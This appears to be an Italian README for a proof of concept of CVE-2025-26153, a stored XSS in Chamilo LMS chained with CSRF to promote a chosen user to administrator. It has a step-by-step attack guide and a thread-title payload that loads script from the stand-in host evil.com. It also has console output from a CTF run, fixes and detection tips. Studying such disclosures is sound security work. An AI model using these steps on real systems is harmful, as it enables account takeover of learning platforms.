Chamilo LMS (<= v2.0) - XSS persistente a escalation dei privilegi POC [CVE-2025-26153]

Panoramica

Questo repository contiene una prova di concetto che dimostra una vulnerabilità stored cross-site scripting (XSS) in Chamilo LMS che può essere sfruttata per ottenere escalation dei privilegi da utente normale ad amministratore della piattaforma. Questa vulnerabilità è indicizzata e corretta: https://nvd.nist.gov/vuln/detail/CVE-2025-26153

Dettagli della vulnerabilità

Informazioni CVE

• Applicazione: Chamilo LMS <= v2.0
• Tipo di vulnerabilità: XSS persistente che porta a escalation dei privilegi

Dettagli tecnici

Posizioni del codice vulnerabile:

1. /public/main/forum/forumqualify.php - Linea 277

   root@kitploit:~

   $form->addLabel(get_lang('Thread'), $threadEntity->getTitle());
   

2. /public/main/forum/viewforum.php - Linea 369

   root@kitploit:~

   .$thread->getTitle().'</a>';
   

3. Ce ne sono altre!

Causa principale:

• I titoli dei thread del forum vengono memorizzati senza una corretta sanitizzazione
• I titoli dei thread vengono visualizzati senza escaping HTML in più posizioni
• Nessuna Content Security Policy (CSP) che impedisca l'esecuzione di XSS

Guida passo-passo all'escalation dei privilegi

Fase 1: Raccolta dati

Passo 1: Raccogli le informazioni dell'utente target

1. Accedi a Chamilo LMS
2. Vai a Social Network -> Personal Data
3. Apri user_info e prendi nota delle seguenti informazioni:
   • ID utente
   • Nome utente
   • Nome
   • Cognome
   • Indirizzo email

Passo 2: Genera un payload personalizzato

1. Esegui il generatore di payload:
   root@kitploit:~

   python generate_payload.py
   

2. Inserisci l'ID utente target dal Passo 1
3. Inserisci le informazioni descrittive che non vuoi vengano modificate (o specifica nuovi valori)
4. Lo script genererà un file payload.js personalizzato

Passo 3: Ospita il payload esternamente

1. Carica il file payload.js generato su un servizio di hosting pubblico:
   • GitHub Gist (consigliato)
   • GitHub Pages
   • Il tuo server web
2. Prendi nota dell'URL diretto del file payload

Fase 2: Iniezione ed esecuzione dell'XSS

Passo 4: Accedi ai gruppi social

1. Accedi a Chamilo LMS (può essere con un qualsiasi account utente)
2. Vai a Social Network -> Social groups

Passo 5: Unisciti o crea un gruppo social

1. Unisciti a un gruppo social esistente, oppure
2. Crea un nuovo gruppo social se necessario

Passo 6: Distribuisci il payload XSS

1. Crea un nuovo thread nel gruppo social
2. Nel campo del titolo del thread, inserisci il seguente payload XSS:
   root@kitploit:~

   eval(x.responseText);x.send()">
   

3. Sostituisci YOUR-HOST-SERVER con il tuo URL di hosting effettivo
4. Invia il thread

Passo 7: Attiva l'escalation dei privilegi

1. Aspetta che un utente con privilegi di amministratore visualizzi il gruppo social
2. Quando l'amministratore visualizza il thread malevolo, il payload XSS viene eseguito automaticamente in background
3. L'escalation dei privilegi NON avviene in silenzio - l'amministratore verrà reindirizzato all'elenco utenti
4. L'utente target specificato verrà promosso ad amministratore della piattaforma senza alcuna indicazione visibile

Fase 3: Verifica

Passo 8: Conferma l'escalation dei privilegi

1. Accedi come utente target
2. Verifica se i privilegi di amministratore sono stati concessi
3. Verifica l'accesso alle funzioni amministrative

Utilizzo del generatore di payload

Lo script generate_payload.py permette di personalizzare l'attacco di escalation dei privilegi:

Parametri di input:

• ID utente target
• Nuovo nome utente
• Nuova password (opzionale)
• Codice ufficiale
• Indirizzo email
• Nome, cognome, telefono (opzionale)

Esempio di flusso di attacco

1. L'attaccante crea un thread malevolo nel forum
   └── Titolo: <script src=//evil.com/payload.js></script>

2. L'utente amministratore naviga nel forum e visualizza il thread
   └── Il browser carica ed esegue il JavaScript esterno

3. Il payload crea un modulo nascosto con i dati di escalation dei privilegi
   └── Punta a un ID utente specifico per la promozione ad amministratore

4. Il modulo si invia automaticamente tramite attacco CSRF
   └── Utilizza automaticamente i cookie di sessione dell'amministratore

5. L'utente target diventa amministratore della piattaforma
   └── L'attaccante ottiene il controllo completo della piattaforma

Strategie di mitigazione

Correzioni immediate

1. Sanitizzazione dell'input

   root@kitploit:~

   // Prima
   $threadEntity->getTitle()
   
   // Dopo  
   htmlspecialchars($threadEntity->getTitle(), ENT_QUOTES, 'UTF-8')
   

2. Codifica dell'output

   root@kitploit:~

   <!-- Prima -->
   {{ thread.title }}
   
   <!-- Dopo -->
   {{ thread.title|escape }}
   

3. Content Security Policy

   root@kitploit:~

   Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';
   

Soluzioni a lungo termine

• Implementare un framework completo di validazione dell'input
• Revisioni periodiche della sicurezza del codice
• Test automatici di sicurezza nella pipeline CI/CD
• Formazione sulla sicurezza per il team di sviluppo

Rilevamento e monitoraggio

Analisi dei log

Monitorare:

• Creazioni/modifiche insolite di utenti amministratore
• Titoli di thread del forum sospetti contenenti HTML/JavaScript
• Caricamento di script esterni da domini non fidati

Disclaimer legale

AVVISO LEGALE IMPORTANTE

Questa prova di concetto è fornita esclusivamente a scopo educativo e di test di sicurezza autorizzati.

• Utilizzare solo su sistemi di tua proprietà o per i quali hai esplicita autorizzazione scritta
• L'accesso non autorizzato a sistemi informatici è illegale nella maggior parte delle giurisdizioni
• Questa ricerca è intesa ad aiutare le organizzazioni a migliorare la loro postura di sicurezza
• Gli autori non sono responsabili per qualsiasi uso improprio di queste informazioni

Crediti di ricerca

Scoperta e analisi: US Cyber Combine

Ambiente di test: USCG CTF Environment

Output della console da un attacco riuscito:

XSS Payload loaded successfully!
Target User ID: 9
Current location: http://cve-hunting.ctf.uscybergames.com:8000/resources/usergroups/show/5
Form created with action: http://cve-hunting.ctf.uscybergames.com:8000/main/admin/user_edit.php?user_id=9
Submitting privilege escalation form for user_id 9
Form has 66 fields
Form submission triggered!
Fetch response status: 200